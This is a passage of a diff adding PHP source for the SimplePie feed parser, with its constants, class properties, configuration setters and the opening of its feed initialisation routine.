+define('SIMPLEPIE_USERAGENT', SIMPLEPIE_NAME . '/' . SIMPLEPIE_VERSION . ' (Feed Parser; ' . SIMPLEPIE_URL . '; Allow like Gecko) Build/' . SIMPLEPIE_BUILD);
+
+/**
+ * SimplePie Linkback
+ */
+define('SIMPLEPIE_LINKBACK', '<a href="' . SIMPLEPIE_URL . '" title="' . SIMPLEPIE_NAME . ' ' . SIMPLEPIE_VERSION . '">' . SIMPLEPIE_NAME . '</a>');
+
+/**
+ * No Autodiscovery
+ * @see SimplePie::set_autodiscovery_level()
+ */
+define('SIMPLEPIE_LOCATOR_NONE', 0);
+
+/**
+ * Feed Link Element Autodiscovery
+ * @see SimplePie::set_autodiscovery_level()
+ */
+define('SIMPLEPIE_LOCATOR_AUTODISCOVERY', 1);
+
+/**
+ * Local Feed Extension Autodiscovery
+ * @see SimplePie::set_autodiscovery_level()
+ */
+define('SIMPLEPIE_LOCATOR_LOCAL_EXTENSION', 2);
+
+/**
+ * Local Feed Body Autodiscovery
+ * @see SimplePie::set_autodiscovery_level()
+ */
+define('SIMPLEPIE_LOCATOR_LOCAL_BODY', 4);
+
+/**
+ * Remote Feed Extension Autodiscovery
+ * @see SimplePie::set_autodiscovery_level()
+ */
+define('SIMPLEPIE_LOCATOR_REMOTE_EXTENSION', 8);
+
+/**
+ * Remote Feed Body Autodiscovery
+ * @see SimplePie::set_autodiscovery_level()
+ */
+define('SIMPLEPIE_LOCATOR_REMOTE_BODY', 16);
+
+/**
+ * All Feed Autodiscovery
+ * @see SimplePie::set_autodiscovery_level()
+ */
+define('SIMPLEPIE_LOCATOR_ALL', 31);
+
+/**
+ * No known feed type
+ */
+define('SIMPLEPIE_TYPE_NONE', 0);
+
+/**
+ * RSS 0.90
+ */
+define('SIMPLEPIE_TYPE_RSS_090', 1);
+
+/**
+ * RSS 0.91 (Netscape)
+ */
+define('SIMPLEPIE_TYPE_RSS_091_NETSCAPE', 2);
+
+/**
+ * RSS 0.91 (Userland)
+ */
+define('SIMPLEPIE_TYPE_RSS_091_USERLAND', 4);
+
+/**
+ * RSS 0.91 (both Netscape and Userland)
+ */
+define('SIMPLEPIE_TYPE_RSS_091', 6);
+
+/**
+ * RSS 0.92
+ */
+define('SIMPLEPIE_TYPE_RSS_092', 8);
+
+/**
+ * RSS 0.93
+ */
+define('SIMPLEPIE_TYPE_RSS_093', 16);
+
+/**
+ * RSS 0.94
+ */
+define('SIMPLEPIE_TYPE_RSS_094', 32);
+
+/**
+ * RSS 1.0
+ */
+define('SIMPLEPIE_TYPE_RSS_10', 64);
+
+/**
+ * RSS 2.0
+ */
+define('SIMPLEPIE_TYPE_RSS_20', 128);
+
+/**
+ * RDF-based RSS
+ */
+define('SIMPLEPIE_TYPE_RSS_RDF', 65);
+
+/**
+ * Non-RDF-based RSS (truly intended as syndication format)
+ */
+define('SIMPLEPIE_TYPE_RSS_SYNDICATION', 190);
+
+/**
+ * All RSS
+ */
+define('SIMPLEPIE_TYPE_RSS_ALL', 255);
+
+/**
+ * Atom 0.3
+ */
+define('SIMPLEPIE_TYPE_ATOM_03', 256);
+
+/**
+ * Atom 1.0
+ */
+define('SIMPLEPIE_TYPE_ATOM_10', 512);
+
+/**
+ * All Atom
+ */
+define('SIMPLEPIE_TYPE_ATOM_ALL', 768);
+
+/**
+ * All feed types
+ */
+define('SIMPLEPIE_TYPE_ALL', 1023);
+
+/**
+ * No construct
+ */
+define('SIMPLEPIE_CONSTRUCT_NONE', 0);
+
+/**
+ * Text construct
+ */
+define('SIMPLEPIE_CONSTRUCT_TEXT', 1);
+
+/**
+ * HTML construct
+ */
+define('SIMPLEPIE_CONSTRUCT_HTML', 2);
+
+/**
+ * XHTML construct
+ */
+define('SIMPLEPIE_CONSTRUCT_XHTML', 4);
+
+/**
+ * base64-encoded construct
+ */
+define('SIMPLEPIE_CONSTRUCT_BASE64', 8);
+
+/**
+ * IRI construct
+ */
+define('SIMPLEPIE_CONSTRUCT_IRI', 16);
+
+/**
+ * A construct that might be HTML
+ */
+define('SIMPLEPIE_CONSTRUCT_MAYBE_HTML', 32);
+
+/**
+ * All constructs
+ */
+define('SIMPLEPIE_CONSTRUCT_ALL', 63);
+
+/**
+ * Don't change case
+ */
+define('SIMPLEPIE_SAME_CASE', 1);
+
+/**
+ * Change to lowercase
+ */
+define('SIMPLEPIE_LOWERCASE', 2);
+
+/**
+ * Change to uppercase
+ */
+define('SIMPLEPIE_UPPERCASE', 4);
+
+/**
+ * PCRE for HTML attributes
+ */
+define('SIMPLEPIE_PCRE_HTML_ATTRIBUTE', '((?:[\x09\x0A\x0B\x0C\x0D\x20]+[^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3D\x3E]*(?:[\x09\x0A\x0B\x0C\x0D\x20]*=[\x09\x0A\x0B\x0C\x0D\x20]*(?:"(?:[^"]*)"|\'(?:[^\']*)\'|(?:[^\x09\x0A\x0B\x0C\x0D\x20\x22\x27\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x3E]*)?))?)*)[\x09\x0A\x0B\x0C\x0D\x20]*');
+
+/**
+ * PCRE for XML attributes
+ */
+define('SIMPLEPIE_PCRE_XML_ATTRIBUTE', '((?:\s+(?:(?:[^\s:]+:)?[^\s:]+)\s*=\s*(?:"(?:[^"]*)"|\'(?:[^\']*)\'))*)\s*');
+
+/**
+ * XML Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_XML', 'http://www.w3.org/XML/1998/namespace');
+
+/**
+ * Atom 1.0 Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_ATOM_10', 'http://www.w3.org/2005/Atom');
+
+/**
+ * Atom 0.3 Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_ATOM_03', 'http://purl.org/atom/ns#');
+
+/**
+ * RDF Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_RDF', 'http://www.w3.org/1999/02/22-rdf-syntax-ns#');
+
+/**
+ * RSS 0.90 Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_RSS_090', 'http://my.netscape.com/rdf/simple/0.9/');
+
+/**
+ * RSS 1.0 Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_RSS_10', 'http://purl.org/rss/1.0/');
+
+/**
+ * RSS 1.0 Content Module Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_RSS_10_MODULES_CONTENT', 'http://purl.org/rss/1.0/modules/content/');
+
+/**
+ * RSS 2.0 Namespace
+ * (Stupid, I know, but I'm certain it will confuse people less with support.)
+ */
+define('SIMPLEPIE_NAMESPACE_RSS_20', '');
+
+/**
+ * DC 1.0 Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_DC_10', 'http://purl.org/dc/elements/1.0/');
+
+/**
+ * DC 1.1 Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_DC_11', 'http://purl.org/dc/elements/1.1/');
+
+/**
+ * W3C Basic Geo (WGS84 lat/long) Vocabulary Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO', 'http://www.w3.org/2003/01/geo/wgs84_pos#');
+
+/**
+ * GeoRSS Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_GEORSS', 'http://www.georss.org/georss');
+
+/**
+ * Media RSS Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_MEDIARSS', 'http://search.yahoo.com/mrss/');
+
+/**
+ * Wrong Media RSS Namespace. Caused by a long-standing typo in the spec.
+ */
+define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG', 'http://search.yahoo.com/mrss');
+
+/**
+ * Wrong Media RSS Namespace #2. New namespace introduced in Media RSS 1.5.
+ */
+define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG2', 'http://video.search.yahoo.com/mrss');
+
+/**
+ * Wrong Media RSS Namespace #3. A possible typo of the Media RSS 1.5 namespace.
+ */
+define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG3', 'http://video.search.yahoo.com/mrss/');
+
+/**
+ * Wrong Media RSS Namespace #4. New spec location after the RSS Advisory Board takes it over, but not a valid namespace.
+ */
+define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG4', 'http://www.rssboard.org/media-rss');
+
+/**
+ * Wrong Media RSS Namespace #5. A possible typo of the RSS Advisory Board URL.
+ */
+define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG5', 'http://www.rssboard.org/media-rss/');
+
+/**
+ * iTunes RSS Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_ITUNES', 'http://www.itunes.com/dtds/podcast-1.0.dtd');
+
+/**
+ * XHTML Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_XHTML', 'http://www.w3.org/1999/xhtml');
+
+/**
+ * IANA Link Relations Registry
+ */
+define('SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY', 'http://www.iana.org/assignments/relation/');
+
+/**
+ * No file source
+ */
+define('SIMPLEPIE_FILE_SOURCE_NONE', 0);
+
+/**
+ * Remote file source
+ */
+define('SIMPLEPIE_FILE_SOURCE_REMOTE', 1);
+
+/**
+ * Local file source
+ */
+define('SIMPLEPIE_FILE_SOURCE_LOCAL', 2);
+
+/**
+ * fsockopen() file source
+ */
+define('SIMPLEPIE_FILE_SOURCE_FSOCKOPEN', 4);
+
+/**
+ * cURL file source
+ */
+define('SIMPLEPIE_FILE_SOURCE_CURL', 8);
+
+/**
+ * file_get_contents() file source
+ */
+define('SIMPLEPIE_FILE_SOURCE_FILE_GET_CONTENTS', 16);
+
+
+
+/**
+ * SimplePie
+ *
+ * @package SimplePie
+ * @subpackage API
+ */
+class SimplePie
+{
+	/**
+	 * @var array Raw data
+	 * @access private
+	 */
+	public $data = array();
+
+	/**
+	 * @var mixed Error string
+	 * @access private
+	 */
+	public $error;
+
+	/**
+	 * @var object Instance of SimplePie_Sanitize (or other class)
+	 * @see SimplePie::set_sanitize_class()
+	 * @access private
+	 */
+	public $sanitize;
+
+	/**
+	 * @var string SimplePie Useragent
+	 * @see SimplePie::set_useragent()
+	 * @access private
+	 */
+	public $useragent = SIMPLEPIE_USERAGENT;
+
+	/**
+	 * @var string Feed URL
+	 * @see SimplePie::set_feed_url()
+	 * @access private
+	 */
+	public $feed_url;
+
+	/**
+	 * @var object Instance of SimplePie_File to use as a feed
+	 * @see SimplePie::set_file()
+	 * @access private
+	 */
+	public $file;
+
+	/**
+	 * @var string Raw feed data
+	 * @see SimplePie::set_raw_data()
+	 * @access private
+	 */
+	public $raw_data;
+
+	/**
+	 * @var int Timeout for fetching remote files
+	 * @see SimplePie::set_timeout()
+	 * @access private
+	 */
+	public $timeout = 10;
+
+	/**
+	 * @var bool Forces fsockopen() to be used for remote files instead
+	 * of cURL, even if a new enough version is installed
+	 * @see SimplePie::force_fsockopen()
+	 * @access private
+	 */
+	public $force_fsockopen = false;
+
+	/**
+	 * @var bool Force the given data/URL to be treated as a feed no matter what
+	 * it appears like
+	 * @see SimplePie::force_feed()
+	 * @access private
+	 */
+	public $force_feed = false;
+
+	/**
+	 * @var bool Enable/Disable Caching
+	 * @see SimplePie::enable_cache()
+	 * @access private
+	 */
+	public $cache = true;
+
+	/**
+	 * @var int Cache duration (in seconds)
+	 * @see SimplePie::set_cache_duration()
+	 * @access private
+	 */
+	public $cache_duration = 3600;
+
+	/**
+	 * @var int Auto-discovery cache duration (in seconds)
+	 * @see SimplePie::set_autodiscovery_cache_duration()
+	 * @access private
+	 */
+	public $autodiscovery_cache_duration = 604800; // 7 Days.
+
+	/**
+	 * @var string Cache location (relative to executing script)
+	 * @see SimplePie::set_cache_location()
+	 * @access private
+	 */
+	public $cache_location = './cache';
+
+	/**
+	 * @var string Function that creates the cache filename
+	 * @see SimplePie::set_cache_name_function()
+	 * @access private
+	 */
+	public $cache_name_function = 'md5';
+
+	/**
+	 * @var bool Reorder feed by date descending
+	 * @see SimplePie::enable_order_by_date()
+	 * @access private
+	 */
+	public $order_by_date = true;
+
+	/**
+	 * @var mixed Force input encoding to be set to the follow value
+	 * (false, or anything type-cast to false, disables this feature)
+	 * @see SimplePie::set_input_encoding()
+	 * @access private
+	 */
+	public $input_encoding = false;
+
+	/**
+	 * @var int Feed Autodiscovery Level
+	 * @see SimplePie::set_autodiscovery_level()
+	 * @access private
+	 */
+	public $autodiscovery = SIMPLEPIE_LOCATOR_ALL;
+
+	/**
+	 * Class registry object
+	 *
+	 * @var SimplePie_Registry
+	 */
+	public $registry;
+
+	/**
+	 * @var int Maximum number of feeds to check with autodiscovery
+	 * @see SimplePie::set_max_checked_feeds()
+	 * @access private
+	 */
+	public $max_checked_feeds = 10;
+
+	/**
+	 * @var array All the feeds found during the autodiscovery process
+	 * @see SimplePie::get_all_discovered_feeds()
+	 * @access private
+	 */
+	public $all_discovered_feeds = array();
+
+	/**
+	 * @var string Web-accessible path to the handler_image.php file.
+	 * @see SimplePie::set_image_handler()
+	 * @access private
+	 */
+	public $image_handler = '';
+
+	/**
+	 * @var array Stores the URLs when multiple feeds are being initialized.
+	 * @see SimplePie::set_feed_url()
+	 * @access private
+	 */
+	public $multifeed_url = array();
+
+	/**
+	 * @var array Stores SimplePie objects when multiple feeds initialized.
+	 * @access private
+	 */
+	public $multifeed_objects = array();
+
+	/**
+	 * @var array Stores the get_object_vars() array for use with multifeeds.
+	 * @see SimplePie::set_feed_url()
+	 * @access private
+	 */
+	public $config_settings = null;
+
+	/**
+	 * @var integer Stores the number of items to return per-feed with multifeeds.
+	 * @see SimplePie::set_item_limit()
+	 * @access private
+	 */
+	public $item_limit = 0;
+
+	/**
+	 * @var array Stores the default attributes to be stripped by strip_attributes().
+	 * @see SimplePie::strip_attributes()
+	 * @access private
+	 */
+	public $strip_attributes = array('bgsound', 'class', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc');
+
+	/**
+	 * @var array Stores the default tags to be stripped by strip_htmltags().
+	 * @see SimplePie::strip_htmltags()
+	 * @access private
+	 */
+	public $strip_htmltags = array('base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style');
+
+	/**
+	 * The SimplePie class contains feed level data and options
+	 *
+	 * To use SimplePie, create the SimplePie object with no parameters. You can
+	 * then set configuration options using the provided methods. After setting
+	 * them, you must initialise the feed using $feed->init(). At that point the
+	 * object's methods and properties will be available to you.
+	 *
+	 * Previously, it was possible to pass in the feed URL along with cache
+	 * options directly into the constructor. This has been removed as of 1.3 as
+	 * it caused a lot of confusion.
+	 *
+	 * @since 1.0 Preview Release
+	 */
+	public function __construct()
+	{
+		if (version_compare(PHP_VERSION, '5.2', '<'))
+		{
+			trigger_error('PHP 4.x, 5.0 and 5.1 are no longer supported. Please upgrade to PHP 5.2 or newer.');
+			die();
+		}
+
+		// Other objects, instances created here so we can set options on them
+		$this->sanitize = new SimplePie_Sanitize();
+		$this->registry = new SimplePie_Registry();
+
+		if (func_num_args() > 0)
+		{
+			$level = defined('E_USER_DEPRECATED') ? E_USER_DEPRECATED : E_USER_WARNING;
+			trigger_error('Passing parameters to the constructor is no longer supported. Please use set_feed_url(), set_cache_location(), and set_cache_location() directly.', $level);
+
+			$args = func_get_args();
+			switch (count($args)) {
+				case 3:
+					$this->set_cache_duration($args[2]);
+				case 2:
+					$this->set_cache_location($args[1]);
+				case 1:
+					$this->set_feed_url($args[0]);
+					$this->init();
+			}
+		}
+	}
+
+	/**
+	 * Used for converting object to a string
+	 */
+	public function __toString()
+	{
+		return md5(serialize($this->data));
+	}
+
+	/**
+	 * Remove items that link back to this before destroying this object
+	 */
+	public function __destruct()
+	{
+		if ((version_compare(PHP_VERSION, '5.3', '<') || !gc_enabled()) && !ini_get('zend.ze1_compatibility_mode'))
+		{
+			if (!empty($this->data['items']))
+			{
+				foreach ($this->data['items'] as $item)
+				{
+					$item->__destruct();
+				}
+				unset($item, $this->data['items']);
+			}
+			if (!empty($this->data['ordered_items']))
+			{
+				foreach ($this->data['ordered_items'] as $item)
+				{
+					$item->__destruct();
+				}
+				unset($item, $this->data['ordered_items']);
+			}
+		}
+	}
+
+	/**
+	 * Force the given data/URL to be treated as a feed
+	 *
+	 * This tells SimplePie to ignore the content-type provided by the server.
+	 * Be careful when using this option, as it will also disable autodiscovery.
+	 *
+	 * @since 1.1
+	 * @param bool $enable Force the given data/URL to be treated as a feed
+	 */
+	public function force_feed($enable = false)
+	{
+		$this->force_feed = (bool) $enable;
+	}
+
+	/**
+	 * Set the URL of the feed you want to parse
+	 *
+	 * This allows you to enter the URL of the feed you want to parse, or the
+	 * website you want to try to use auto-discovery on. This takes priority
+	 * over any set raw data.
+	 *
+	 * You can set multiple feeds to mash together by passing an array instead
+	 * of a string for the $url. Remember that with each additional feed comes
+	 * additional processing and resources.
+	 *
+	 * @since 1.0 Preview Release
+	 * @see set_raw_data()
+	 * @param string|array $url This is the URL (or array of URLs) that you want to parse.
+	 */
+	public function set_feed_url($url)
+	{
+		$this->multifeed_url = array();
+		if (is_array($url))
+		{
+			foreach ($url as $value)
+			{
+				$this->multifeed_url[] = $this->registry->call('Misc', 'fix_protocol', array($value, 1));
+			}
+		}
+		else
+		{
+			$this->feed_url = $this->registry->call('Misc', 'fix_protocol', array($url, 1));
+		}
+	}
+
+	/**
+	 * Set an instance of {@see SimplePie_File} to use as a feed
+	 *
+	 * @param SimplePie_File &$file
+	 * @return bool True on success, false on failure
+	 */
+	public function set_file(&$file)
+	{
+		if ($file instanceof SimplePie_File)
+		{
+			$this->feed_url = $file->url;
+			$this->file =& $file;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Set the raw XML data to parse
+	 *
+	 * Allows you to use a string of RSS/Atom data instead of a remote feed.
+	 *
+	 * If you have a feed available as a string in PHP, you can tell SimplePie
+	 * to parse that data string instead of a remote feed. Any set feed URL
+	 * takes precedence.
+	 *
+	 * @since 1.0 Beta 3
+	 * @param string $data RSS or Atom data as a string.
+	 * @see set_feed_url()
+	 */
+	public function set_raw_data($data)
+	{
+		$this->raw_data = $data;
+	}
+
+	/**
+	 * Set the the default timeout for fetching remote feeds
+	 *
+	 * This allows you to change the maximum time the feed's server to respond
+	 * and send the feed back.
+	 *
+	 * @since 1.0 Beta 3
+	 * @param int $timeout The maximum number of seconds to spend waiting to retrieve a feed.
+	 */
+	public function set_timeout($timeout = 10)
+	{
+		$this->timeout = (int) $timeout;
+	}
+
+	/**
+	 * Force SimplePie to use fsockopen() instead of cURL
+	 *
+	 * @since 1.0 Beta 3
+	 * @param bool $enable Force fsockopen() to be used
+	 */
+	public function force_fsockopen($enable = false)
+	{
+		$this->force_fsockopen = (bool) $enable;
+	}
+
+	/**
+	 * Enable/disable caching in SimplePie.
+	 *
+	 * This option allows you to disable caching all-together in SimplePie.
+	 * However, disabling the cache can lead to longer load times.
+	 *
+	 * @since 1.0 Preview Release
+	 * @param bool $enable Enable caching
+	 */
+	public function enable_cache($enable = true)
+	{
+		$this->cache = (bool) $enable;
+	}
+
+	/**
+	 * Set the length of time (in seconds) that the contents of a feed will be
+	 * cached
+	 *
+	 * @param int $seconds The feed content cache duration
+	 */
+	public function set_cache_duration($seconds = 3600)
+	{
+		$this->cache_duration = (int) $seconds;
+	}
+
+	/**
+	 * Set the length of time (in seconds) that the autodiscovered feed URL will
+	 * be cached
+	 *
+	 * @param int $seconds The autodiscovered feed URL cache duration.
+	 */
+	public function set_autodiscovery_cache_duration($seconds = 604800)
+	{
+		$this->autodiscovery_cache_duration = (int) $seconds;
+	}
+
+	/**
+	 * Set the file system location where the cached files should be stored
+	 *
+	 * @param string $location The file system location.
+	 */
+	public function set_cache_location($location = './cache')
+	{
+		$this->cache_location = (string) $location;
+	}
+
+	/**
+	 * Set whether feed items should be sorted into reverse chronological order
+	 *
+	 * @param bool $enable Sort as reverse chronological order.
+	 */
+	public function enable_order_by_date($enable = true)
+	{
+		$this->order_by_date = (bool) $enable;
+	}
+
+	/**
+	 * Set the character encoding used to parse the feed
+	 *
+	 * This overrides the encoding reported by the feed, however it will fall
+	 * back to the normal encoding detection if the override fails
+	 *
+	 * @param string $encoding Character encoding
+	 */
+	public function set_input_encoding($encoding = false)
+	{
+		if ($encoding)
+		{
+			$this->input_encoding = (string) $encoding;
+		}
+		else
+		{
+			$this->input_encoding = false;
+		}
+	}
+
+	/**
+	 * Set how much feed autodiscovery to do
+	 *
+	 * @see SIMPLEPIE_LOCATOR_NONE
+	 * @see SIMPLEPIE_LOCATOR_AUTODISCOVERY
+	 * @see SIMPLEPIE_LOCATOR_LOCAL_EXTENSION
+	 * @see SIMPLEPIE_LOCATOR_LOCAL_BODY
+	 * @see SIMPLEPIE_LOCATOR_REMOTE_EXTENSION
+	 * @see SIMPLEPIE_LOCATOR_REMOTE_BODY
+	 * @see SIMPLEPIE_LOCATOR_ALL
+	 * @param int $level Feed Autodiscovery Level (level can be a combination of the above constants, see bitwise OR operator)
+	 */
+	public function set_autodiscovery_level($level = SIMPLEPIE_LOCATOR_ALL)
+	{
+		$this->autodiscovery = (int) $level;
+	}
+
+	/**
+	 * Get the class registry
+	 *
+	 * Use this to override SimplePie's default classes
+	 * @see SimplePie_Registry
+	 * @return SimplePie_Registry
+	 */
+	public function &get_registry()
+	{
+		return $this->registry;
+	}
+
+	/**#@+
+	 * Useful when you are overloading or extending SimplePie's default classes.
+	 *
+	 * @deprecated Use {@see get_registry()} instead
+	 * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation
+	 * @param string $class Name of custom class
+	 * @return boolean True on success, false otherwise
+	 */
+	/**
+	 * Set which class SimplePie uses for caching
+	 */
+	public function set_cache_class($class = 'SimplePie_Cache')
+	{
+		return $this->registry->register('Cache', $class, true);
+	}
+
+	/**
+	 * Set which class SimplePie uses for auto-discovery
+	 */
+	public function set_locator_class($class = 'SimplePie_Locator')
+	{
+		return $this->registry->register('Locator', $class, true);
+	}
+
+	/**
+	 * Set which class SimplePie uses for XML parsing
+	 */
+	public function set_parser_class($class = 'SimplePie_Parser')
+	{
+		return $this->registry->register('Parser', $class, true);
+	}
+
+	/**
+	 * Set which class SimplePie uses for remote file fetching
+	 */
+	public function set_file_class($class = 'SimplePie_File')
+	{
+		return $this->registry->register('File', $class, true);
+	}
+
+	/**
+	 * Set which class SimplePie uses for data sanitization
+	 */
+	public function set_sanitize_class($class = 'SimplePie_Sanitize')
+	{
+		return $this->registry->register('Sanitize', $class, true);
+	}
+
+	/**
+	 * Set which class SimplePie uses for handling feed items
+	 */
+	public function set_item_class($class = 'SimplePie_Item')
+	{
+		return $this->registry->register('Item', $class, true);
+	}
+
+	/**
+	 * Set which class SimplePie uses for handling author data
+	 */
+	public function set_author_class($class = 'SimplePie_Author')
+	{
+		return $this->registry->register('Author', $class, true);
+	}
+
+	/**
+	 * Set which class SimplePie uses for handling category data
+	 */
+	public function set_category_class($class = 'SimplePie_Category')
+	{
+		return $this->registry->register('Category', $class, true);
+	}
+
+	/**
+	 * Set which class SimplePie uses for feed enclosures
+	 */
+	public function set_enclosure_class($class = 'SimplePie_Enclosure')
+	{
+		return $this->registry->register('Enclosure', $class, true);
+	}
+
+	/**
+	 * Set which class SimplePie uses for `<media:text>` captions
+	 */
+	public function set_caption_class($class = 'SimplePie_Caption')
+	{
+		return $this->registry->register('Caption', $class, true);
+	}
+
+	/**
+	 * Set which class SimplePie uses for `<media:copyright>`
+	 */
+	public function set_copyright_class($class = 'SimplePie_Copyright')
+	{
+		return $this->registry->register('Copyright', $class, true);
+	}
+
+	/**
+	 * Set which class SimplePie uses for `<media:credit>`
+	 */
+	public function set_credit_class($class = 'SimplePie_Credit')
+	{
+		return $this->registry->register('Credit', $class, true);
+	}
+
+	/**
+	 * Set which class SimplePie uses for `<media:rating>`
+	 */
+	public function set_rating_class($class = 'SimplePie_Rating')
+	{
+		return $this->registry->register('Rating', $class, true);
+	}
+
+	/**
+	 * Set which class SimplePie uses for `<media:restriction>`
+	 */
+	public function set_restriction_class($class = 'SimplePie_Restriction')
+	{
+		return $this->registry->register('Restriction', $class, true);
+	}
+
+	/**
+	 * Set which class SimplePie uses for content-type sniffing
+	 */
+	public function set_content_type_sniffer_class($class = 'SimplePie_Content_Type_Sniffer')
+	{
+		return $this->registry->register('Content_Type_Sniffer', $class, true);
+	}
+
+	/**
+	 * Set which class SimplePie uses item sources
+	 */
+	public function set_source_class($class = 'SimplePie_Source')
+	{
+		return $this->registry->register('Source', $class, true);
+	}
+	/**#@-*/
+
+	/**
+	 * Set the user agent string
+	 *
+	 * @param string $ua New user agent string.
+	 */
+	public function set_useragent($ua = SIMPLEPIE_USERAGENT)
+	{
+		$this->useragent = (string) $ua;
+	}
+
+	/**
+	 * Set callback function to create cache filename with
+	 *
+	 * @param mixed $function Callback function
+	 */
+	public function set_cache_name_function($function = 'md5')
+	{
+		if (is_callable($function))
+		{
+			$this->cache_name_function = $function;
+		}
+	}
+
+	/**
+	 * Set options to make SP as fast as possible
+	 *
+	 * Forgoes a substantial amount of data sanitization in favor of speed. This
+	 * turns SimplePie into a dumb parser of feeds.
+	 *
+	 * @param bool $set Whether to set them or not
+	 */
+	public function set_stupidly_fast($set = false)
+	{
+		if ($set)
+		{
+			$this->enable_order_by_date(false);
+			$this->remove_div(false);
+			$this->strip_comments(false);
+			$this->strip_htmltags(false);
+			$this->strip_attributes(false);
+			$this->set_image_handler(false);
+		}
+	}
+
+	/**
+	 * Set maximum number of feeds to check with autodiscovery
+	 *
+	 * @param int $max Maximum number of feeds to check
+	 */
+	public function set_max_checked_feeds($max = 10)
+	{
+		$this->max_checked_feeds = (int) $max;
+	}
+
+	public function remove_div($enable = true)
+	{
+		$this->sanitize->remove_div($enable);
+	}
+
+	public function strip_htmltags($tags = '', $encode = null)
+	{
+		if ($tags === '')
+		{
+			$tags = $this->strip_htmltags;
+		}
+		$this->sanitize->strip_htmltags($tags);
+		if ($encode !== null)
+		{
+			$this->sanitize->encode_instead_of_strip($tags);
+		}
+	}
+
+	public function encode_instead_of_strip($enable = true)
+	{
+		$this->sanitize->encode_instead_of_strip($enable);
+	}
+
+	public function strip_attributes($attribs = '')
+	{
+		if ($attribs === '')
+		{
+			$attribs = $this->strip_attributes;
+		}
+		$this->sanitize->strip_attributes($attribs);
+	}
+
+	/**
+	 * Set the output encoding
+	 *
+	 * Allows you to override SimplePie's output to match that of your webpage.
+	 * This is useful for times when your webpages are not being served as
+	 * UTF-8.  This setting will be obeyed by {@see handle_content_type()}, and
+	 * is similar to {@see set_input_encoding()}.
+	 *
+	 * It should be noted, however, that not all character encodings can support
+	 * all characters.  If your page is being served as ISO-8859-1 and you try
+	 * to display a Japanese feed, you'll likely see garbled characters.
+	 * Because of this, it is highly recommended to ensure that your webpages
+	 * are served as UTF-8.
+	 *
+	 * The number of supported character encodings depends on whether your web
+	 * host supports {@link http://php.net/mbstring mbstring},
+	 * {@link http://php.net/iconv iconv}, or both. See
+	 * {@link http://simplepie.org/wiki/faq/Supported_Character_Encodings} for
+	 * more information.
+	 *
+	 * @param string $encoding
+	 */
+	public function set_output_encoding($encoding = 'UTF-8')
+	{
+		$this->sanitize->set_output_encoding($encoding);
+	}
+
+	public function strip_comments($strip = false)
+	{
+		$this->sanitize->strip_comments($strip);
+	}
+
+	/**
+	 * Set element/attribute key/value pairs of HTML attributes
+	 * containing URLs that need to be resolved relative to the feed
+	 *
+	 * Defaults to |a|@href, |area|@href, |blockquote|@cite, |del|@cite,
+	 * |form|@action, |img|@longdesc, |img|@src, |input|@src, |ins|@cite,
+	 * |q|@cite
+	 *
+	 * @since 1.0
+	 * @param array|null $element_attribute Element/attribute key/value pairs, null for default
+	 */
+	public function set_url_replacements($element_attribute = null)
+	{
+		$this->sanitize->set_url_replacements($element_attribute);
+	}
+
+	/**
+	 * Set the handler to enable the display of cached images.
+	 *
+	 * @param str $page Web-accessible path to the handler_image.php file.
+	 * @param str $qs The query string that the value should be passed to.
+	 */
+	public function set_image_handler($page = false, $qs = 'i')
+	{
+		if ($page !== false)
+		{
+			$this->sanitize->set_image_handler($page . '?' . $qs . '=');
+		}
+		else
+		{
+			$this->image_handler = '';
+		}
+	}
+
+	/**
+	 * Set the limit for items returned per-feed with multifeeds
+	 *
+	 * @param integer $limit The maximum number of items to return.
+	 */
+	public function set_item_limit($limit = 0)
+	{
+		$this->item_limit = (int) $limit;
+	}
+
+	/**
+	 * Initialize the feed object
+	 *
+	 * This is what makes everything happen.  Period.  This is where all of the
+	 * configuration options get processed, feeds are fetched, cached, and
+	 * parsed, and all of that other good stuff.
+	 *
+	 * @return boolean True if successful, false otherwise
+	 */
+	public function init()
+	{
+		// Check absolute bare minimum requirements.
+		if (!extension_loaded('xml') || !extension_loaded('pcre'))
+		{
+			return false;
+		}
+		// Then check the xml extension is sane (i.e., libxml 2.7.x issue on PHP < 5.2.9 and libxml 2.7.0 to 2.7.2 on any version) if we don't have xmlreader.
+		elseif (!extension_loaded('xmlreader'))
+		{
+			static $xml_is_sane = null;
+			if ($xml_is_sane === null)
+			{
+				$parser_check = xml_parser_create();
+				xml_parse_into_struct($parser_check, '<foo>&amp;</foo>', $values);
+				xml_parser_free($parser_check);
+				$xml_is_sane = isset($values[0]['value']);
+			}
+			if (!$xml_is_sane)
+			{
+				return false;
+			}
+		}
+
+		if (method_exists($this->sanitize, 'set_registry'))
+		{
+			$this->sanitize->set_registry($this->registry);
+		}
+
+		// Pass whatever was set with config options over to the sanitizer.
+		// Pass the classes in for legacy support; new classes should use the registry instead
+		$this->sanitize->pass_cache_data($this->cache, $this->cache_location, $this->cache_name_function, $this->registry->get_class('Cache'));
